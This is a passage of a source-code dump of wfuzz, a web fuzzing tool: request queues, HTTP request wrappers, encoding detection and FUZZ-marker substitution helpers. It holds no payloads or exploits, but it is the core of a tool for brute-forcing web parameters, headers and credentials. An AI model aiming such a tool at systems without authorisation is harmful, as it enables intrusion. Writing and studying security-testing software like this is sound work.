fuzz_res.history.is_path:\n            if self.cache.update_cache(fuzz_res.history, \"recursion\"):\n                self.stats.pending_seeds.inc()\n                seed = resfactory.create(\"seed_from_recursion\", fuzz_res)\n                self.send(seed)\n\n                fuzz_res.plugins_res.append(\n                    plugin_factory.create(\n                        \"plugin_from_summary\",\n                        \"Enqueued response for recursion (level=%d)\" % (seed.rlevel),\n                    )\n                )\n\n        # send new result\n        self.send(fuzz_res)\n\n\nclass PassPayloadQ(FuzzQueue):\n    def __init__(self, options):\n        FuzzQueue.__init__(self, options)\n        self.pause = Event()\n\n    def get_name(self):\n        return \"PassPayloadQ\"\n\n    def process(self, item):\n        if item.payload_man.get_payload_type(1) == FuzzWordType.FUZZRES:\n            item = item.payload_man.get_payload_content(1)\n            item.update_from_options(self.options)\n            if not item.payload_man:\n                item.payload_man = payman_factory.create(\n                    \"empty_payloadman\", FuzzWord(item.url, FuzzWordType.WORD)\n                )\n        self.send(item)\n\n\nclass DryRunQ(FuzzQueue):\n    def __init__(self, options):\n        FuzzQueue.__init__(self, options)\n        self.pause = Event()\n\n    def get_name(self):\n        return \"DryRunQ\"\n\n    def process(self, item):\n        self.send(item)\n\n\nclass HttpQueue(FuzzQueue):\n    def __init__(self, options):\n        FuzzQueue.__init__(self, options, limit=options.get(\"concurrent\") * 5)\n\n        self.http_pool = options.http_pool\n\n        self.pause = Event()\n        self.pause.set()\n        self.exit_job = False\n\n    def cancel(self):\n        self.pause.set()\n\n    def mystart(self):\n        self.poolid = self.http_pool.register()\n\n        th2 = Thread(target=self.__read_http_results)\n        th2.setName(\"__read_http_results\")\n        th2.start()\n\n    def get_name(self):\n        return \"HttpQueue\"\n\n    def _cleanup(self):\n        self.http_pool.deregister()\n        self.exit_job = True\n\n    def items_to_process(self):\n        return [FuzzType.RESULT, FuzzType.BACKFEED]\n\n    def process(self, obj):\n        self.pause.wait()\n        self.http_pool.enqueue(obj, self.poolid)\n\n    def __read_http_results(self):\n        try:\n            while not self.exit_job:\n                res = next(self.http_pool.iter_results(self.poolid))\n                self.send(res)\n        except StopIteration:\n            pass\n\n\nclass HttpReceiver(FuzzQueue):\n    def __init__(self, options):\n        FuzzQueue.__init__(self, options)\n\n    def get_name(self):\n        return \"HttpReceiver\"\n\n    def process(self, res):\n        if res.exception and not self.options.get(\"scanmode\"):\n            self._throw(res.exception)\n        else:\n            self.send(res)\n"
  },
  {
    "path": "src/wfuzz/fuzzrequest.py",
    "content": "import pycurl\n\n# Python 2 and 3\nimport sys\n\nif sys.version_info >= (3, 0):\n    from urllib.parse import urlparse\nelse:\n    from urlparse import urlparse\n\nfrom collections import namedtuple\n\nfrom .externals.reqresp import Request, Response\nfrom .exception import FuzzExceptBadAPI, FuzzExceptBadOptions\nfrom .facade import Facade\nfrom .mixins import FuzzRequestUrlMixing, FuzzRequestSoupMixing\n\nfrom .helpers.str_func import python2_3_convert_from_unicode\nfrom .helpers.obj_dic import DotDict\n\n\nclass headers(object):\n    class header(DotDict):\n        def __str__(self):\n            return \"\\n\".join([\"{}: {}\".format(k, v) for k, v in self.items()])\n\n    def __init__(self, req):\n        self._req = req\n\n    @property\n    def response(self):\n        return (\n            headers.header(self._req.response.getHeaders())\n            if self._req.response\n            else headers.header()\n        )\n\n    @property\n    def request(self):\n        return headers.header(self._req._headers)\n\n    @request.setter\n    def request(self, values_dict):\n        self._req._headers.update(values_dict)\n        if \"Content-Type\" in values_dict:\n            self._req.ContentType = values_dict[\"Content-Type\"]\n\n    @property\n    def all(self):\n        return headers.header(self.request + self.response)\n\n\nclass cookies(object):\n    class cookie(DotDict):\n        def __str__(self):\n            return \"\\n\".join([\"{}={}\".format(k, v) for k, v in self.items()])\n\n    def __init__(self, req):\n        self._req = req\n\n    @property\n    def response(self):\n        if self._req.response:\n            c = self._req.response.getCookie().split(\"; \")\n            if c[0]:\n                return cookies.cookie(\n                    {x[0]: x[2] for x in [x.partition(\"=\") for x in c]}\n                )\n\n        return cookies.cookie({})\n\n    @property\n    def request(self):\n        if \"Cookie\" in self._req._headers:\n            c = self._req._headers[\"Cookie\"].split(\"; \")\n            if c[0]:\n                return cookies.cookie(\n                    {x[0]: x[2] for x in [x.partition(\"=\") for x in c]}\n                )\n\n        return cookies.cookie({})\n\n    @request.setter\n    def request(self, values):\n        self._req._headers[\"Cookie\"] = \"; \".join(values)\n\n    @property\n    def all(self):\n        return cookies.cookie(self.request + self.response)\n\n\nclass params(object):\n    class param(DotDict):\n        def __str__(self):\n            return \"\\n\".join([\"{}={}\".format(k, v) for k, v in self.items()])\n\n    def __init__(self, req):\n        self._req = req\n\n    @property\n    def get(self):\n        return params.param({x.name: x.value for x in self._req.getGETVars()})\n\n    @get.setter\n    def get(self, values):\n        if isinstance(values, dict) or isinstance(values, DotDict):\n            for key, value in values.items():\n                self._req.setVariableGET(key, str(value))\n        else:\n            raise FuzzExceptBadAPI(\"GET Parameters must be specified as a dictionary\")\n\n    @property\n    def post(self):\n        return params.param({x.name: x.value for x in self._req.getPOSTVars()})\n\n    @post.setter\n    def post(self, pp):\n        if isinstance(pp, dict) or isinstance(pp, DotDict):\n            for key, value in pp.items():\n                self._req.setVariablePOST(\n                    key, str(value) if value is not None else value\n                )\n\n            self._req._non_parsed_post = self._req._variablesPOST.urlEncoded()\n\n        elif isinstance(pp, str):\n            self._req.setPostData(pp)\n\n    @property\n    def raw_post(self):\n        return self._req._non_parsed_post\n\n    @property\n    def all(self):\n        return params.param(self.get + self.post)\n\n    @all.setter\n    def all(self, values):\n        self.get = values\n        self.post = values\n\n\nclass FuzzRequest(FuzzRequestUrlMixing, FuzzRequestSoupMixing):\n    def __init__(self):\n        self._request = Request()\n\n        self._proxy = None\n        self._allvars = None\n        self.wf_fuzz_methods = None\n        self.wf_retries = 0\n        self.wf_ip = None\n\n        self.headers.request = {\n            \"User-Agent\": Facade().sett.get(\"connection\", \"user-agent\")\n        }\n\n    # methods for accessing HTTP requests information consistenly accross the codebase\n\n    def __str__(self):\n        return self._request.getAll()\n\n    @property\n    def raw_request(self):\n        return self._request.getAll()\n\n    @raw_request.setter\n    def raw_request(self, rawReq, scheme):\n        self.update_from_raw_http(rawReq, scheme)\n\n    @property\n    def raw_content(self):\n        if self._request.response:\n            return self._request.response.getAll()\n\n        return \"\"\n\n    @property\n    def headers(self):\n        return headers(self._request)\n\n    @property\n    def params(self):\n        return params(self._request)\n\n    @property\n    def cookies(self):\n        return cookies(self._request)\n\n    @property\n    def method(self):\n        return self._request.method\n\n    @method.setter\n    def method(self, method):\n        self._request.method = method\n\n    @property\n    def scheme(self):\n        return self._request.schema\n\n    @scheme.setter\n    def scheme(self, s):\n        self._request.schema = s\n\n    @property\n    def host(self):\n        return self._request.getHost()\n\n    @property\n    def path(self):\n        return self._request.path\n\n    @property\n    def redirect_url(self):\n        return self._request.completeUrl\n\n    @property\n    def url(self):\n        return self._request.finalUrl\n\n    @url.setter\n    def url(self, u):\n        # urlparse goes wrong with IP:port without scheme (https://bugs.python.org/issue754016)\n        if not u.startswith(\"FUZ\") and (\n            urlparse(u).netloc == \"\" or urlparse(u).scheme == \"\"\n        ):\n            u = \"http://\" + u\n\n        if urlparse(u).path == \"\":\n            u += \"/\"\n\n        if Facade().sett.get(\"general\", \"encode_space\") == \"1\":\n            u = u.replace(\" \", \"%20\")\n\n        self._request.setUrl(u)\n        if self.scheme.startswith(\"fuz\") and self.scheme.endswith(\"z\"):\n            # avoid FUZZ to become fuzz\n            self.scheme = self.scheme.upper()\n\n    @property\n    def content(self):\n        return self._request.response.getContent() if self._request.response else \"\"\n\n    @property\n    def code(self):\n        return self._request.response.code if self._request.response else 0\n\n    @code.setter\n    def code(self, c):\n        self._request.response.code = int(c)\n\n    @property\n    def auth(self):\n        method, creds = self._request.getAuth()\n\n        return DotDict({\"method\": method, \"credentials\": creds})\n\n    @auth.setter\n    def auth(self, creds_dict):\n        self._request.setAuth(creds_dict[\"method\"], creds_dict[\"credentials\"])\n        method, creds = self._request.getAuth()\n\n        return DotDict({\"method\": method, \"credentials\": creds})\n\n    @property\n    def follow(self):\n        return self._request.followLocation\n\n    @follow.setter\n    def follow(self, f):\n        self._request.setFollowLocation(f)\n\n    @property\n    def reqtime(self):\n        return self._request.totaltime\n\n    @reqtime.setter\n    def reqtime(self, t):\n        self._request.totaltime = t\n\n    # Info extra that wfuzz needs within an HTTP request\n    @property\n    def wf_allvars_set(self):\n        if self.wf_allvars == \"allvars\":\n            return self.params.get\n        elif self.wf_allvars == \"allpost\":\n            return self.params.post\n        elif self.wf_allvars == \"allheaders\":\n            return self.headers.request\n        else:\n            raise FuzzExceptBadOptions(\"Unknown variable set: \" + self.wf_allvars)\n\n    @wf_allvars_set.setter\n    def wf_allvars_set(self, varset):\n        try:\n            if self.wf_allvars == \"allvars\":\n                self.params.get = varset\n            elif self.wf_allvars == \"allpost\":\n                self.params.post = varset\n            elif self.wf_allvars == \"allheaders\":\n                self._request.headers.request = varset\n            else:\n                raise FuzzExceptBadOptions(\"Unknown variable set: \" + self.wf_allvars)\n        except TypeError:\n            raise FuzzExceptBadOptions(\n                \"It is not possible to use all fuzzing with duplicated parameters.\"\n            )\n\n    @property\n    def wf_allvars(self):\n        return self._allvars\n\n    @wf_allvars.setter\n    def wf_allvars(self, bl):\n        if bl is not None and bl not in [\"allvars\", \"allpost\", \"allheaders\"]:\n            raise FuzzExceptBadOptions(\n                \"Incorrect all parameters brute forcing type specified, correct values are allvars, allpost or allheaders.\"\n            )\n\n        self._allvars = bl\n\n    @property\n    def wf_proxy(self):\n        return self._proxy\n\n    @wf_proxy.setter\n    def wf_proxy(self, proxy_tuple):\n        if proxy_tuple:\n            prox, ptype = proxy_tuple\n            self._request.setProxy(\"%s\" % prox, ptype if ptype else \"HTML\")\n        self._proxy = proxy_tuple\n\n    # methods wfuzz needs to perform HTTP requests (this might change in the future).\n\n    def update_from_raw_http(self, raw, scheme, raw_response=None, raw_content=None):\n        self._request.parseRequest(raw, scheme)\n\n        # Parse request sets postdata = '' when there's POST request without data\n        if self.method == \"POST\" and self.params.raw_post is None:\n            self.params.post = \"\"\n\n        if raw_response:\n            rp = Response()\n            if not isinstance(raw_response, str):\n                raw_response = python2_3_convert_from_unicode(\n                    raw_response.decode(\"utf-8\", errors=\"surrogateescape\")\n                )\n            rp.parseResponse(raw_response, raw_content)\n            self._request.response = rp\n\n        return self._request\n\n    def to_cache_key(self):\n        key = self._request.urlWithoutVariables\n\n        dicc = {\"g{}\".format(key): True for key in self.params.get.keys()}\n        dicc.update({\"p{}\".format(key): True for key in self.params.post.keys()})\n\n        # take URL parameters into consideration\n        url_params = list(dicc.keys())\n        url_params.sort()\n        key += \"-\" + \"-\".join(url_params)\n\n        return key\n\n    # methods wfuzz needs for substituing payloads and building dictionaries\n\n    def update_from_options(self, options):\n        if options[\"url\"] != \"FUZZ\":\n            self.url = options[\"url\"]\n\n        # headers must be parsed first as they might affect how reqresp parases other params\n        self.headers.request = dict(options[\"headers\"])\n\n        if options[\"auth\"].get(\"method\") is not None:\n            self.auth = options[\"auth\"]\n\n        if options[\"follow\"]:\n            self.follow = options[\"follow\"]\n\n        if options[\"postdata\"] is not None:\n            self.params.post = options[\"postdata\"]\n\n        if options[\"connect_to_ip\"]:\n            self.wf_ip = options[\"connect_to_ip\"]\n\n        if options[\"method\"]:\n            self.method = options[\"method\"]\n            self.wf_fuzz_methods = options[\"method\"]\n\n        if options[\"cookie\"]:\n            self.cookies.request = options[\"cookie\"]\n\n        if options[\"allvars\"]:\n            self.wf_allvars = options[\"allvars\"]\n"
  },
  {
    "path": "src/wfuzz/helpers/__init__.py",
    "content": ""
  },
  {
    "path": "src/wfuzz/helpers/file_func.py",
    "content": "import os\nimport sys\nimport re\nimport pkg_resources\n\nfrom chardet.universaldetector import UniversalDetector\nimport chardet\n\nfrom ..exception import FuzzExceptInternalError\n\n\ndef get_filter_help_file():\n    FILTER_HELP_FILE = \"advanced.rst\"\n    FILTER_HELP_DEV_FILE = \"../../../docs/user/advanced.rst\"\n\n    filter_help_text = None\n    try:\n        fname = pkg_resources.resource_filename(\"wfuzz\", FILTER_HELP_FILE)\n        filter_help_text = open(fname).read()\n    except IOError:\n        filter_help_text = open(get_path(FILTER_HELP_DEV_FILE)).read()\n\n    return filter_help_text\n\n\ndef create_dir(dir_path):\n    if not os.path.exists(dir_path):\n        os.makedirs(dir_path)\n\n\ndef get_home(check=False, directory=None):\n    path = os.path.join(os.path.expanduser(\"~\"), \".wfuzz\")\n    if check:\n        create_dir(path)\n\n    return os.path.join(path, directory) if directory else path\n\n\ndef get_config_dir(check=False):\n    config_dir = os.environ.get(\"XDG_CONFIG_HOME\") or os.path.join(\n        os.path.expanduser(\"~\"), \".config\"\n    )\n    wfuzz_config_dir = os.path.join(config_dir, \"wfuzz\")\n    if check:\n        create_dir(wfuzz_config_dir)\n    return wfuzz_config_dir\n\n\ndef get_path(directory=None):\n    abspath = os.path.abspath(__file__)\n    ret = os.path.dirname(abspath)\n\n    return os.path.join(ret, directory) if directory else ret\n\n\ndef find_file_in_paths(name, path):\n    for root, dirs, files in os.walk(path):\n        if name in files:\n            return os.path.join(root, name)\n\n    return None\n\n\nclass FileDetOpener:\n    typical_encodings = [\n        \"UTF-8\",\n        \"ISO-8859-1\",\n        \"Windows-1251\",\n        \"Shift JIS\",\n        \"Windows-1252\",\n        \"GB2312\",\n        \"EUC-KR\",\n        \"EUC-JP\",\n        \"GBK\",\n        \"ISO-8859-2\",\n        \"Windows-1250\",\n        \"ISO-8859-15\",\n        \"Windows-1256\",\n        \"ISO-8859-9\",\n        \"Big5\",\n        \"Windows-1254\",\n    ]\n\n    def __init__(self, file_path, encoding=None):\n        self.cache = []\n        self.file_des = open(file_path, mode=\"rb\")\n        self.det_encoding = encoding\n        self.encoding_forced = False\n\n    def close(self):\n        self.file_des.close()\n\n    def reset(self):\n        self.file_des.seek(0)\n\n    def __iter__(self):\n        return self\n\n    def __next__(self):\n        decoded_line = None\n        line = None\n        last_error = None\n\n        while decoded_line is None:\n\n            while self.det_encoding is None:\n                detect_encoding = self.detect_encoding().get(\"encoding\", \"utf-8\")\n                self.det_encoding = (\n                    detect_encoding if detect_encoding is not None else \"utf-8\"\n                )\n\n            if line is None:\n                if self.cache:\n                    line = self.cache.pop()\n                else:\n                    line = next(self.file_des)\n                    if not line:\n                        raise StopIteration\n\n            try:\n                decoded_line = line.decode(self.det_encoding)\n            except UnicodeDecodeError:\n                if last_error is not None and last_error:\n                    self.det_encoding = last_error.pop()\n                elif last_error is None and not self.encoding_forced:\n                    last_error = list(reversed(self.typical_encodings))\n                    last_error.append(chardet.detect(line).get(\"encoding\"))\n                elif not last_error:\n                    raise FuzzExceptInternalError(\"Unable to decode wordlist file!\")\n\n                decoded_line = None\n\n        return decoded_line\n\n    def detect_encoding(self):\n        detector = UniversalDetector()\n        detector.reset()\n\n        for line in self.file_des:\n            detector.feed(line)\n            self.cache.append(line)\n            if detector.done:\n                break\n\n        detector.close()\n\n        return detector.result\n\n    next = __next__  # for Python 2\n\n\ndef open_file_detect_encoding(file_path):\n    def detect_encoding(file_path):\n        detector = UniversalDetector()\n        detector.reset()\n\n        with open(file_path, mode=\"rb\") as file_to_detect:\n            for line in file_to_detect:\n                detector.feed(line)\n                if detector.done:\n                    break\n        detector.close()\n\n        return detector.result\n\n    if sys.version_info >= (3, 0):\n        return open(\n            file_path, \"r\", encoding=detect_encoding(file_path).get(\"encoding\", \"utf-8\")\n        )\n    else:\n        return open(file_path, \"r\")\n"
  },
  {
    "path": "src/wfuzz/helpers/obj_dic.py",
    "content": "from collections.abc import MutableMapping\nfrom itertools import chain\n\n\nclass CaseInsensitiveDict(MutableMapping):\n    def __init__(self, *args, **kwargs):\n        self.store = dict()\n        self.proxy = dict()\n\n        self.update(dict(*args, **kwargs))  # use the free update to set keys\n\n    def __contains__(self, k):\n        return k.lower() in self.proxy\n\n    def __delitem__(self, k):\n        key = self.proxy[k.lower()]\n\n        del self.store[key]\n        del self.proxy[k.lower()]\n\n    def __getitem__(self, k):\n        key = self.proxy[k.lower()]\n        return self.store[key]\n\n    def get(self, k, default=None):\n        key = self.proxy[k.lower()]\n        return self.store[key] if key in self.store else default\n\n    def __setitem__(self, k, v):\n        self.store[k] = v\n        self.proxy[k.lower()] = k\n\n    def __iter__(self):\n        return iter(self.store)\n\n    def __len__(self):\n        return len(self.store)\n\n\nclass DotDict(CaseInsensitiveDict):\n    def __getattr__(obj, name):\n        # Return {} if non-existent attr\n        if name not in obj:\n            return DotDict({})\n\n        # python 3 val = dict.get(*args, None)\n        val = obj.get(name)\n        return DotDict(val) if type(val) is dict else val\n        # return DotDict(val) if type(val) is dict else DotDict({args[1]: val})\n\n    def __add__(self, other):\n        if isinstance(other, str):\n            return DotDict({k: v + other for k, v in self.items() if v})\n        elif isinstance(other, DotDict):\n            # python 3 return DotDict({**self, **other})\n            new_dic = DotDict(self)\n            new_dic.update(other)\n            return new_dic\n\n    def __radd__(self, other):\n        if isinstance(other, str):\n            return DotDict({k: other + v for k, v in self.items() if v})\n\n    def __getitem__(self, key):\n        try:\n            return super(DotDict, self).__getitem__(key)\n        except KeyError:\n            return DotDict({})\n\n    def __str__(self):\n        return \"\\n\".join(\n            [\n                \"{}{} {}\".format(k, \"->\" if isinstance(v, DotDict) else \":\", v)\n                for k, v in self.items()\n            ]\n        )\n"
  },
  {
    "path": "src/wfuzz/helpers/obj_dyn.py",
    "content": "import functools\nfrom .obj_dic import DotDict\n\n\nallowed_fields = [\n    \"description\",\n    \"nres\",\n    \"code\",\n    \"chars\",\n    \"lines\",\n    \"words\",\n    \"md5\",\n    \"l\",\n    \"h\",\n    \"w\",\n    \"c\",\n    \"history\",\n    \"plugins\",\n    \"url\",\n    \"content\",\n    \"history.url\",\n    \"history.method\",\n    \"history.scheme\",\n    \"history.host\",\n    \"history.content\",\n    \"history.raw_content\" \"history.is_path\",\n    \"history.pstrip\",\n    \"history.cookies\",\n    \"history.headers\",\n    \"history.params\",\n    \"r\",\n    \"r.reqtime\",\n    \"r.url\",\n    \"r.method\",\n    \"r.scheme\",\n    \"r.host\",\n    \"r.content\",\n    \"r.raw_content\" \"r.is_path\",\n    \"r.pstrip\",\n    \"r.cookies.\",\n    \"r.headers.\",\n    \"r.params.\",\n]\n\n\ndef _check_allowed_field(attr):\n    if [field for field in allowed_fields if attr.startswith(field)]:\n        return True\n    return False\n\n\ndef _get_alias(attr):\n    attr_alias = {\n        \"l\": \"lines\",\n        \"h\": \"chars\",\n        \"w\": \"words\",\n        \"c\": \"code\",\n        \"r\": \"history\",\n    }\n\n    if attr in attr_alias:\n        return attr_alias[attr]\n\n    return attr\n\n\ndef rsetattr(obj, attr, new_val, operation):\n    # if not _check_allowed_field(attr):\n    #    raise AttributeError(\"Unknown field {}\".format(attr))\n\n    pre, _, post = attr.rpartition(\".\")\n\n    pre_post = None\n    if len(attr.split(\".\")) > 3:\n        pre_post = post\n        pre, _, post = pre.rpartition(\".\")\n\n    post = _get_alias(post)\n\n    try:\n        obj_to_set = rgetattr(obj, pre) if pre else obj\n        prev_val = rgetattr(obj, attr)\n        if pre_post is not None:\n            prev_val = DotDict({pre_post: prev_val})\n\n        if operation is not None:\n            val = operation(prev_val, new_val)\n        else:\n            if isinstance(prev_val, DotDict):\n                val = {k: new_val for k, v in prev_val.items()}\n            else:\n                val = new_val\n\n        return setattr(obj_to_set, post, val)\n    except AttributeError:\n        raise AttributeError(\n            \"rsetattr: Can't set '{}' attribute of {}.\".format(\n                post, obj_to_set.__class__\n            )\n        )\n\n\ndef rgetattr(obj, attr, *args):\n    def _getattr(obj, attr):\n        attr = _get_alias(attr)\n        try:\n            return getattr(obj, attr, *args)\n        except AttributeError:\n            raise AttributeError(\n                \"rgetattr: Can't get '{}' attribute from '{}'.\".format(\n                    attr, obj.__class__\n                )\n            )\n\n    # if not _check_allowed_field(attr):\n    # raise AttributeError(\"Unknown field {}\".format(attr))\n\n    return functools.reduce(_getattr, [obj] + attr.split(\".\"))\n"
  },
  {
    "path": "src/wfuzz/helpers/obj_factory.py",
    "content": "import re\nimport abc\n\nfrom ..helpers.obj_dyn import (\n    rgetattr,\n    rsetattr,\n)\nfrom ..exception import FuzzExceptBadOptions\n\n\nclass Singleton(type):\n    \"\"\" Singleton metaclass. Use by defining the metaclass of a class Singleton,\n        e.g.: class ThereCanBeOnlyOne:\n                  __metaclass__ = Singleton\n    \"\"\"\n\n    def __call__(class_, *args, **kwargs):\n        if not class_.hasInstance():\n            class_.instance = super(Singleton, class_).__call__(*args, **kwargs)\n        return class_.instance\n\n    def deleteInstance(class_):\n        \"\"\" Delete the (only) instance. This method is mainly for unittests so\n            they can start with a clean slate. \"\"\"\n        if class_.hasInstance():\n            del class_.instance\n\n    def hasInstance(class_):\n        \"\"\" Has the (only) instance been created already? \"\"\"\n        return hasattr(class_, \"instance\")\n\n\nclass ObjectFactory:\n    def __init__(self, builders):\n        self._builders = builders\n\n    def create(self, key, *args, **kwargs):\n        builder = self._builders.get(key)\n        if not builder:\n            raise ValueError(key)\n        return builder(*args, **kwargs)\n\n\nclass HttpRequestFactory(abc.ABC):\n    @staticmethod\n    @abc.abstractmethod\n    def to_http_object(options, to_http, from_req):\n        pass\n\n    @staticmethod\n    @abc.abstractmethod\n    def from_http_object(options, from_http, raw_header, raw_body):\n        pass\n\n\nclass SeedBuilderHelper:\n    FUZZ_MARKERS_REGEX = re.compile(\n        r\"(?P<full_marker>(?P<word>FUZ(?P<index>\\d)*Z)(?P<nonfuzz_marker>(?:\\[(?P<field>.*?)\\])?(?P<full_bl>\\{(?P<bl_value>.*?)\\})?))\"\n    )\n    REQ_ATTR = [\"raw_request\", \"scheme\", \"method\", \"auth.credentials\"]\n\n    @staticmethod\n    def _get_markers(text):\n        return [\n            m.groupdict() for m in SeedBuilderHelper.FUZZ_MARKERS_REGEX.finditer(text)\n        ]\n\n    @staticmethod\n    def get_marker_dict(freq):\n        marker_dict_list = []\n\n        for text in [rgetattr(freq, field) for field in SeedBuilderHelper.REQ_ATTR]:\n            marker_dict_list += SeedBuilderHelper._get_markers(text)\n\n        # validate\n        if len({bd[\"bl_value\"] is None for bd in marker_dict_list}) > 1:\n            raise FuzzExceptBadOptions(\n                \"You must supply a baseline value per FUZZ word.\"\n            )\n\n        return marker_dict_list\n\n    @staticmethod\n    def _remove_markers(freq, markers, mark_name):\n        scheme = freq.scheme\n        for mark in [\n            mark[mark_name] for mark in markers if mark[mark_name] is not None\n        ]:\n            for field in SeedBuilderHelper.REQ_ATTR:\n                old_value = rgetattr(freq, field)\n                new_value = old_value.replace(mark, \"\")\n\n                if field == \"raw_request\":\n                    freq.update_from_raw_http(new_value, scheme)\n                else:\n                    rsetattr(freq, field, new_value, None)\n\n    @staticmethod\n    def remove_baseline_markers(freq, markers):\n        SeedBuilderHelper._remove_markers(freq, markers, \"full_bl\")\n        return freq\n\n    @staticmethod\n    def remove_nonfuzz_markers(freq, markers):\n        SeedBuilderHelper._remove_markers(markers, \"nonfuzz_marker\")\n        return freq\n\n    # Not working due to reqresp internals\n    # def replace_markers(self, seed, fpm):\n    #     for payload in fpm.get_payloads():\n    #         for field in self.REQ_ATTR:\n    #             old_value = rgetattr(seed, field)\n    #             new_value = old_value.replace(payload.marker, payload.value)\n    #             rsetattr(seed, field, new_value , None)\n\n    @staticmethod\n    def replace_markers(freq, fpm):\n        rawReq = str(freq)\n        rawUrl = freq.redirect_url\n        scheme = freq.scheme\n        old_auth = freq.auth\n\n        for payload in [\n            payload for payload in fpm.get_payloads() if payload.marker is not None\n        ]:\n            if old_auth.method:\n                old_auth[\"credentials\"] = old_auth[\"credentials\"].replace(\n                    payload.marker, str(payload.value)\n                )\n            rawUrl = rawUrl.replace(payload.marker, str(payload.value))\n            rawReq = rawReq.replace(payload.marker, str(payload.value))\n            scheme = scheme.replace(payload.marker, str(payload.value))\n\n        freq.update_from_raw_http(rawReq, scheme)\n        freq.url = rawUrl\n        if old_auth.method:\n            freq.auth = old_auth\n\n        return freq\n"
  },
  {
    "path": "src/wfuzz/helpers/str_func.py",
    "content": "import re\nimport sys\nimport six\n\n\nfrom .obj_dic import DotDict\n\n\ndef json_minify(string, strip_space=True):\n    \"\"\"\n    Created on 20/01/2011\n    v0.2 (C) Gerald Storer\n    MIT License\n    Based on JSON.minify.js:\n    https://github.com/getify/JSON.minify\n    Contributers:\n    - Pradyun S. Gedam (conditions and variable names changed)\n    \"\"\"\n\n    tokenizer = re.compile(r'\"|(/\\*)|(\\*/)|(//)|\\n|\\r')\n    end_slashes_re = re.compile(r\"(\\\\)*$\")\n\n    in_string = False\n    in_multi = False\n    in_single = False\n\n    new_str = []\n    index = 0\n\n    for match in re.finditer(tokenizer, string):\n\n        if not (in_multi or in_single):\n            tmp = string[index : match.start()]\n            if not in_string and strip_space:\n                # replace white space as defined in standard\n                tmp = re.sub(\"[ \\t\\n\\r]+\", \"\", tmp)\n            new_str.append(tmp)\n\n        index = match.end()\n        val = match.group()\n\n        if val == '\"' and not (in_multi or in_single):\n            escaped = end_slashes_re.search(string, 0, match.start())\n\n            # start of string or unescaped quote character to end string\n            if not in_string or (escaped is None or len(escaped.group()) % 2 == 0):\n                in_string = not in_string\n            # include \" character in next catch\n            index -= 1\n        elif not (in_string or in_multi or in_single):\n            if val == \"/*\":\n                in_multi = True\n            elif val == \"//\":\n                in_single = True\n        elif val == \"*/\" and in_multi and not (in_string or in_single):\n            in_multi = False\n        elif val in \"\\r\\n\" and not (in_multi or in_string) and in_single:\n            in_single = False\n        elif not ((in_multi or in_single) or (val in \" \\r\\n\\t\" and strip_space)):\n            new_str.append(val)\n\n    new_str.append(string[index:])\n    return \"\".join(new_str)\n\n\ndef python2_3_convert_from_unicode(text):\n    if sys.version_info >= (3, 0):\n        return text\n    else:\n        return convert_to_unicode(text)\n\n\ndef python2_3_convert_to_unicode(text):\n    if sys.version_info >= (3, 0):\n        return convert_to_unicode(text)\n    else:\n        return text\n\n\ndef convert_to_unicode(text):\n    if isinstance(text, dict) or isinstance(text, DotDict):\n        return {\n            convert_to_unicode(key): convert_to_unicode(value)\n            for key, value in list(text.items())\n        }\n    elif isinstance(text, list):\n        return [convert_to_unicode(element) for element in text]\n    elif isinstance(text, six.string_types):\n        return text.encode(\"utf-8\", errors=\"ignore\")\n    else:\n        return text\n\n\ndef value_in_any_list_item(value, list_obj):\n    if isinstance(list_obj, list):\n        return len([item for item in list_obj if value.lower() in item.lower()]) > 0\n    elif isinstance(list_obj, str):\n        return value.lower() in list_obj.lower()\n"
  },
  {
    "path": "src/wfuzz/helpers/utils.py",
    "content": "from threading import Lock\nimport difflib\n\n\nclass MyCounter:\n    def __init__(self, count=0):\n        self._count = count\n        self._mutex = Lock()\n\n    def inc(self):\n        return self._operation(1)\n\n    def dec(self):\n        return self._operation(-1)\n\n    def _operation(self, dec):\n        with self._mutex:\n            self._count += dec\n            return self._count\n\n    def __call__(self):\n        with self._mutex:\n            return self._count\n\n\ndef diff(param1, param2):\n    delta = difflib.unified_diff(\n        str(param1).splitlines(False),\n        str(param2).splitlines(False),\n        fromfile=\"prev\",\n        tofile=\"current\",\n        n=0,\n    )\n\n    return \"\\n\".join(delta)\n"
  },
  {
    "path": "src/wfuzz/mixins.py",
    "content": "from .plugin_api.urlutils import parse_url\nfrom .exception import FuzzExceptBadInstall\n\n# python 2 and 3\nimport sys\n\nif sys.version_info >= (3, 0):\n    from urllib.parse import urljoin, urlparse\nelse:\n    from urlparse import urljoin, urlparse\n\n\nclass FuzzRequestSoupMixing(object):\n    def get_soup(self):\n        try:\n            from bs4 import BeautifulSoup\n        except ImportError:\n            raise FuzzExceptBadInstall(\"You need to install beautifulsoup4 first!\")\n\n        soup = BeautifulSoup(self.content, \"html.parser\")\n\n        return soup\n\n\nclass FuzzRequestUrlMixing(object):\n    # urlparse functions\n    @property\n    def urlparse(self):\n        return parse_url(self.url)\n\n    @property\n    def urlp(self):\n        return parse_url(self.url)\n\n    @property\n    def pstrip(self):\n        return self.to_cache_key()\n\n    @property\n    def is_path(self):\n        if self.recursive_url and self.recursive_url[-1] == \"/\":\n            return True\n\n        return False\n\n    @property\n    def recursive_url(self):\n        if self.code >= 300 and self.code < 308 and \"Location\" in self.headers.response:\n            location_url = self.headers.response[\"Location\"]\n            location_parsed_url = urlparse(location_url)\n\n            if not location_parsed_url.scheme and not location_parsed_url.netloc:\n                return urljoin(self.url, location_url)\n        elif self.code in [200, 401] and self.url[-1] == \"/\":\n            return self.url\n\n        return None\n"
  },
  {
    "path": "src/wfuzz/myhttp.py",
    "content": "import pycurl\nfrom io import BytesIO\nfrom threading import Thread, Lock\nimport itertools\nfrom queue import Queue\nimport collections\n\nfrom .exception import FuzzExceptBadOptions, FuzzExceptNetError\n\nfrom .factories.reqresp_factory import ReqRespRequestFactory\n\n# See https://curl.haxx.se/libcurl/c/libcurl-errors.html\nUNRECOVERABLE_PYCURL_EXCEPTIONS = [\n    28,  # Operation timeout. The specified time-out period was reached according to the conditions.\n    7,  # Failed to connect() to host or proxy.\n    6,  # Couldn't resolve host. The given remote host was not resolved.\n    5,  # Couldn't resolve proxy. The given proxy host could not be resolved.\n]\n\n# Other common pycurl exceptions:\n# Exception in perform (35, 'error:0B07C065:x509 certificate routines:X509_STORE_add_cert:cert already in hash table')\n# Exception in perform (18, 'SSL read: error:0B07C065:x509 certificate routines:X509_STORE_add_cert:cert already in hash table, errno 11')\n\n\nclass HttpPool:\n    HTTPAUTH_BASIC, HTTPAUTH_NTLM, HTTPAUTH_DIGEST = (\"basic\", \"ntlm\", \"digest\")\n    newid = itertools.count(0)\n\n    def __init__(self, options):\n        self.processed = 0\n\n        